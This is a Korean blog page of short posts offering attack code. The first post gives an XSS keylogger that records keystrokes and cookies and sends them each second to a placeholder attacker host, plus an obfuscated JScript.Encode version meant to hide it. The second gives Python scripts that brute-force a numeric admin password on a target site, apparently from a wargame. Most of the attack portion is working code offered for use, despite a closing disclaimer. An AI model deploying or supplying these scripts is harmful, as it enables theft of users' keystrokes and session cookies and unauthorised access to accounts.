XSS로 키로거처럼 만들어 전송 할 수 있습니다.

 고객사에 P.T로 세미나 하실때 적용하시면 관심 받으실껍니다.

 ==================================================================================
<html>
<script>
var keys='';
var cu=0;
var co='';
document.onkeypress = function(e)
{
 get = window.event?event:e;key = get.keyCode?get.keyCode:get.charCode;key = String.fromCharCode(key);
    keys+=key;cu = keys.length;co = document.cookie;
}
window.setInterval(function()
{
  if(cu > 5)
  {
   new Image().src = 'http://~hacker~/Get.php?c='+keys+'&d='+co;cu=0;keys = '';co='';
  }
}, 1000);
</script>
</html>
==================================================================================
^ 위 소스 보시면 직관적으로 아시겠지만 5글자씩 끊어서 전송합니다.
window.setInterval() 함수의 1000 은 1초씩 함수를 호출하라는 뜻입니다. 

이렇게 올리면 심심하니깐 전.. 밑에 처럼 스크립트 엔코더로 변형해서 올립니다.
==================================================================================
<html>
<script language = JScript.Encode>#@~^tAEAAA==@#@&\CMP0+Xk'Evi@#@&-lMP^;{!i@#@&\mDP1GxBEi@#@&[W^;s+UYcGx0+z2M+/d~{PWE ^DkG `#P@#@&P@#@&ionY,'~AbxNKAR\+ O_+7+ Yl+IVX~',L+DRVnHZW[nQonYcVX/KN)oYc^tmD/W9+IVXP{~?DDk L 0MWsZ4l./KNn`0nX*i@#@&,PP~VXd_{VXI1E,'P0+HdR^+UoDtI^KP',[W1E:UOR1WK3r+I@#@&@#@&8@#@&@#@&hrU9Wh dY(xDnM\C^`6Ex1YbGxv#@#@&P@#@&~,k0v^E,@*Plb@#@&,PP@#@&P~~ +AP&hlT+cbc/D^~{PvtDOa)&JU4lm0+M=zV+ORat2_1'B3V+H/_E'['E_1WIm;xZiV+HdP{PvvpmWxvEi@#@&,~)@#@&)~,F!Z!*I@#@&1HoAAA==^#~@</script>
</html>
==================================================================================

그럼 ..오늘도 굿럭~

정보 공유 및 학습 차원의 내용임으로 악의적인 이용시  사용자에게 법적인 책임이 주어짐을 명시합니다.

'위험한_친구들 > 십자군_XSS' 카테고리의 다른 글

XSS-Harvest / xss-harvest.pl  (0) 2011.08.29
Adobe RoboHelp 9 DOM Cross Site Scripting  (0) 2011.08.16
Mailto: Crash (may crash you)  (0) 2011.08.08
XSS BASIC SITE  (0) 2011.08.08
Clipboard 내용 유출  (0) 2010.10.28
Posted by bitfox
l

워 게임 풀때 사용했던 방법.

import re
import httplib, urllib

params = ''
for i in range(2000,3000):
 headers = {"Content-type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=11fb82672162216b51cc705b5b122ca3"}
 conn = httplib.HTTPConnection("대상사이트.kr:80")
 conn.request("GET", "/대상URL/index.php?cid=admin&cpw=%s" %i,params,headers)
 response = conn.getresponse()
 data = response.read()
 ad = re.findall("admin</b>", data)
 if ad:
  print "The Password is %d" %i
  break
  print data
 print i
 conn.close()


==============================================================================

import re,time
import httplib, urllib

params = ''
for i in range(0,1):
 headers = {"Content-type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=f1b76b27c014a6216d06141d7f0ce50a; vote_check=ok; notice="}
 conn = httplib.HTTPConnection("대상사이트.kr:80")
 conn.request("GET", "/challenge/codeing/code5.html?hit=bitfox",params,headers)
 response = conn.getresponse()
 data = response.read()
 print data
 time.sleep(1)
 conn.close()

==============================================================================

2000에서 3000번 사이 패스워드 맞추기

import re
import urllib
 
for i in range(2000,3000):
    fw = urllib.urlopen("http://대상URL/index.php?cid=admin&cpw=%s" %i)
    read = fw.read()
    admin = re.findall("환영합니다",read)
    if admin:
         print "The Password is %d" %i
         break
    print i

Posted by bitfox
l

홍커 커뮤니티에서 교육하는 자료.


Posted by bitfox
l